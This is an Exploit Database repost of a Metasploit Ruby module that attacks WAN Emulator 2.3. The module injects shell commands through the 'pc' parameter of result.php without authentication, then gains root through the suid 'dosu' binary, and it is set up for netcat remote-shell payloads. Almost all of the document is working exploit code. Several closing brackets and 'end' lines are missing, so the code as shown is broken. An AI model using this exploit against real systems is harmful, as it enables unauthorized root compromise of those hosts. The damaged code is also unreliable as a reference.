WAN Emulator 2.3 – Command Execution (Metasploit)

Exploit Database
152 阅读

作者： Metasploit

日期： 2012-09-10
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/21190/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'WAN Emulator v2.3 Command Execution',

'Description'=> %q{

This module exploits a command execution vulnerability in WAN Emulator

version 2.3 which can be abused to allow unauthenticated users to execute

arbitrary commands under the context of the 'www-data' user.

The 'result.php' script calls shell_exec() with user controlled data

from the 'pc' parameter. This module also exploits a command execution

vulnerability to gain root privileges. The 'dosu' binary is suid 'root'

and vulnerable to command execution in argument one.

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 1 $',

'Privileged' => true,

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Author' =>

[

'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit

'References' =>

[

['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']

#['OSVDB', ''],

#['EDB', ''],

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic netcat-e',

}

'DefaultOptions' =>

{

'ExitFunction' => 'none'

'Targets'=>

[

['Automatic Targeting', { 'auto' => true }]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Aug 12 2012'

))

end

def on_new_session(client)

client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")

end

def check

res = send_request_cgi({

'method' => 'GET',

'uri'=> '/WANem/result.php'

})

if res and res.body =~ / Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/

return Exploit::CheckCode::Appears

else

return Exploit::CheckCode::Safe

end

def exploit

@peer = "#{rhost}:#{rport}"

data= "pc=127.0.0.1; "

data << URI.encode(payload.raw)

data << "%26"

print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")

begin

res = send_request_cgi({

'uri'=> '/WANem/result.php',

'method' => 'POST',

'data' => data

}, 25)

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout

print_error("#{@peer} - Connection failed")

end

if res and res.code == 200

print_good("#{@peer} - Payload sent successfully")

else

print_error("#{@peer} - Sending payload failed")

end